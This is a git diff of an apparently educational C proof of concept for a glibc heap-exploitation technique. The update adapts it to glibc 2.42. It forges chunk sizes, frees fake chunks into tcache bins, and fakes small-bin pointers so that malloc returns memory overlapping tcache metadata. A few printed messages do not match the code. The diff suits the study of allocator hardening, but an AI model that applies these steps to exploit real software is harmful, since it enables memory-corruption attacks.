1414 * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,
1515 * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.
1616 *
17- * Then it crafts fake tcache entries in the 0x320 & 0x330 bins using two other controlled chunks matching the 'relative chunk' size,
17+ * Then it crafts fake tcache entries in the 0x310 & 0x320 bins using two other controlled chunks matching the 'relative chunk' size,
1818 * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.
1919 * A large allocation sorts them into the same small bin linked list.
2020 *
@@ -43,6 +43,19 @@ int main(void) {
4343 setbuf (stdout , NULL );
4444 setbuf (stderr , NULL );
4545
46+ puts ("\n" );
47+ puts ("\t==============================" );
48+ puts ("\t| STEP 0 |" );
49+ puts ("\t==============================" );
50+ puts ("\n" );
51+
52+ puts ("Very important for glibc-2.42! Now the sizeof `tcache_perthread_struct` is 0x300\n" );
53+ puts ("Without the following heap fengshui, this technique will require 4-bit brutefoce\n\n" );
54+
55+ // this allocation will force the allocation of `tcache_perthread_struct` at offset 0x4f0, which is good for us
56+ puts ("Do malloc(0x480) to force the misalignment of `tcache_perthread_struct`\n" );
57+ malloc (0x4e0 );
58+
4659
4760 puts ("\n" );
4861 puts ("\t==============================" );
@@ -86,7 +99,8 @@ int main(void) {
8699 // Step 2: Fill up t-cache for 0x90 size class
87100
88101 // This is just to make a pointer to the t-cache metadata for later.
89- void * metadata = (void * )((long )(relative_chunk ) & ~(0xfff ));
102+ void * metadata = (void * )((long )(relative_chunk ) & ~(0xfff )) + 0x490 ;
103+ printf ("metadata: %p\n" , metadata );
90104
91105 // Make allocations to free such that we can exhaust the 0x90 t-cache
92106 puts ("Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time" );
@@ -112,13 +126,13 @@ int main(void) {
112126 puts ("\t==============================" );
113127 puts ("\n" );
114128
115- // Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.
129+ // Step 3: Create a 0x310 and a 0x320 t-cache entry which overlaps small_start and small_end.
116130 // By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
117131
118132 puts ("Here comes the trickiest part!\n" );
119133
120- puts ("We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\n" );
121- puts ("pointer and a pointer in the 0x330 t-cache to act as a BCK pointer." );
134+ puts ("We essentially want a pointer in the 0x310 t-cache metadata to act as a FWD\n" );
135+ puts ("pointer and a pointer in the 0x320 t-cache to act as a BCK pointer." );
122136 puts ("We want it such that it points to the chunk header of our small bin entries,\n" );
123137 puts ("and not at the chunk itself which is common for t-cache.\n" );
124138
@@ -130,12 +144,12 @@ int main(void) {
130144 puts ("" );
131145
132146 puts ("small_start:" );
133- printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x330 ][0/1], unsortedbin[all][0]\n" , (unsigned long )(small_start - 0x10 ), * (long * )(small_start - 0x10 ), * (long * )(small_start - 0x8 ));
147+ printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x320 ][0/1], unsortedbin[all][0]\n" , (unsigned long )(small_start - 0x10 ), * (long * )(small_start - 0x10 ), * (long * )(small_start - 0x8 ));
134148 dump_memory (small_start , 2 );
135149 puts ("" );
136150
137151 puts ("small_end:" );
138- printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x320 ][0/1], unsortedbin[all][2]\n" , (unsigned long )(small_end - 0x10 ), * (long * )(small_end - 0x10 ), * (long * )(small_end - 0x8 ));
152+ printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x310 ][0/1], unsortedbin[all][2]\n" , (unsigned long )(small_end - 0x10 ), * (long * )(small_end - 0x10 ), * (long * )(small_end - 0x8 ));
139153 dump_memory (small_end , 2 );
140154
141155 puts ("\n" );
@@ -156,16 +170,16 @@ int main(void) {
156170 puts ("\n" );
157171
158172 // Step 3 part 1:
159- puts ("Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache." );
160- printf ("\t*%p-0x18 = 0x331 \n" , small_start );
161- * (long * )(small_start - 0x18 ) = 0x331 ;
173+ puts ("Write 0x321 above small_start to enable its free'ing into the 0x320 t-cache." );
174+ printf ("\t*%p-0x18 = 0x321 \n" , small_start );
175+ * (long * )(small_start - 0x18 ) = 0x321 ;
162176 puts ("" );
163177
164- puts ("This creates a 0x331 entry just above small_start, which looks like the following:" );
178+ puts ("This creates a 0x321 entry just above small_start, which looks like the following:" );
165179 dump_memory (small_start - 0x20 , 3 );
166180 puts ("" );
167181
168- printf ("Free the faked 0x331 chunk @ %p\n" , small_start - 0x10 );
182+ printf ("Free the faked 0x321 chunk @ %p\n" , small_start - 0x10 );
169183 free (small_start - 0x10 ); // Create a fake FWD
170184 puts ("" );
171185
@@ -175,7 +189,7 @@ int main(void) {
175189 * (long * )(small_start - 0x8 ) = 0x91 ;
176190 puts ("" );
177191
178- puts ("Now, let's do the same for small_end except using a 0x321 faked chunk." );
192+ puts ("Now, let's do the same for small_end except using a 0x311 faked chunk." );
179193 puts ("" );
180194
181195
@@ -185,16 +199,16 @@ int main(void) {
185199 puts ("\n" );
186200
187201 // Step 3 part 2:
188- puts ("Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:" );
189- printf ("\t*%p-0x18 = 0x321 \n" , small_end );
190- * (long * )(small_end - 0x18 ) = 0x321 ;
202+ puts ("Write 0x311 above small_end, such that it can be free'd into the 0x320 t-cache:" );
203+ printf ("\t*%p-0x18 = 0x311 \n" , small_end );
204+ * (long * )(small_end - 0x18 ) = 0x311 ;
191205 puts ("" );
192206
193- puts ("This creates a 0x321 just above small_end, which looks like the following:" );
207+ puts ("This creates a 0x311 just above small_end, which looks like the following:" );
194208 dump_memory (small_end - 0x20 , 3 );
195209 puts ("" );
196210
197- printf ("Free the faked 0x321 chunk @ %p\n" , small_end - 0x10 );
211+ printf ("Free the faked 0x311 chunk @ %p\n" , small_end - 0x10 );
198212 free (small_end - 0x10 ); // Create a fake BCK
199213 puts ("" );
200214
@@ -239,17 +253,17 @@ int main(void) {
239253 puts ("\t\tsmall_start <--> relative_chunk <--> small_end" );
240254 printf ("\t\t%p <--> %p <--> %p\n" , small_start - 0x10 , relative_chunk - 0x10 , small_end - 0x10 );
241255
242- printf ("\t- 0x320 t-cache:\n" );
243- printf ("\t\t* 0x%lx\n" , * (long * )(metadata + 0x390 ));
244- printf ("\t- 0x330 t-cache\n" );
245- printf ("\t\t* 0x%lx\n" , * (long * )(metadata + 0x398 ));
256+ printf ("\t- 0x310 t-cache:\n" );
257+ printf ("\t\t* 0x%lx\n" , * (long * )(metadata + 0x310 ));
258+ printf ("\t- 0x320 t-cache\n" );
259+ printf ("\t\t* 0x%lx\n" , * (long * )(metadata + 0x318 ));
246260 puts ("" );
247261
248262 puts ("The fake chunk in the t-cache will look like the following:" );
249263 dump_memory (metadata + 0x370 , 4 );
250264 puts ("" );
251265
252- puts ("We can now observe that the 0x330 t-cache points to small_start and 0x320 t-cache points to " );
266+ puts ("We can now observe that the 0x320 t-cache points to small_start and 0x310 t-cache points to " );
253267 puts ("small_end, which is what we need to fake a small-bin entry and hijack relative_chunk." );
254268
255269
@@ -269,13 +283,14 @@ int main(void) {
269283
270284 /* VULNERABILITY */
271285 printf ("\t- small_start:\n" );
272- printf ("\t\t*%p = %p\n" , small_start , metadata + 0x200 );
273- * (unsigned long * )small_start = (unsigned long )(metadata + 0x200 );
286+ void * metadata_page = (void * )((long )metadata & ~0xfff );
287+ printf ("\t\t*%p = %p\n" , small_start , metadata_page + 0x700 );
288+ * (unsigned long * )small_start = (unsigned long )(metadata_page + 0x700 );
274289 puts ("" );
275290
276291 printf ("\t- small_end:\n" );
277- printf ("\t\t*%p = %p\n" , small_end , metadata + 0x200 );
278- * (unsigned long * )(small_end + 0x8 ) = (unsigned long )(metadata + 0x200 );
292+ printf ("\t\t*%p = %p\n" , small_end , metadata_page + 0x700 );
293+ * (unsigned long * )(small_end + 0x8 ) = (unsigned long )(metadata_page + 0x700 );
279294 puts ("" );
280295 /* VULNERABILITY */
281296
@@ -284,8 +299,7 @@ int main(void) {
284299
285300 puts ("\t- small bin:" );
286301 printf ("\t\t small_start <--> metadata chunk <--> small_end\n" );
287- printf ("\t\t %p\t %p %p\n" , small_start , metadata + 0x200 , small_end );
288-
302+ printf ("\t\t %p\t %p %p\n" , small_start , metadata + 0x228 , small_end );
289303
290304 puts ("\n" );
291305 puts ("\t==============================" );
@@ -306,12 +320,14 @@ int main(void) {
306320 _ = malloc (0x88 );
307321
308322
323+
324+
309325 // Next allocation *could* be our faked chunk!
310326 void * meta_chunk = malloc (0x88 );
311327
312328 printf ("\t\tNew chunk\t @ %p\n" , meta_chunk );
313329 printf ("\t\tt-cache metadata @ %p\n" , metadata );
314- assert (meta_chunk == (metadata + 0x210 ));
330+ assert (meta_chunk == (metadata + 0x280 ));
315331
316332 puts ("" );
317333}
0 commit comments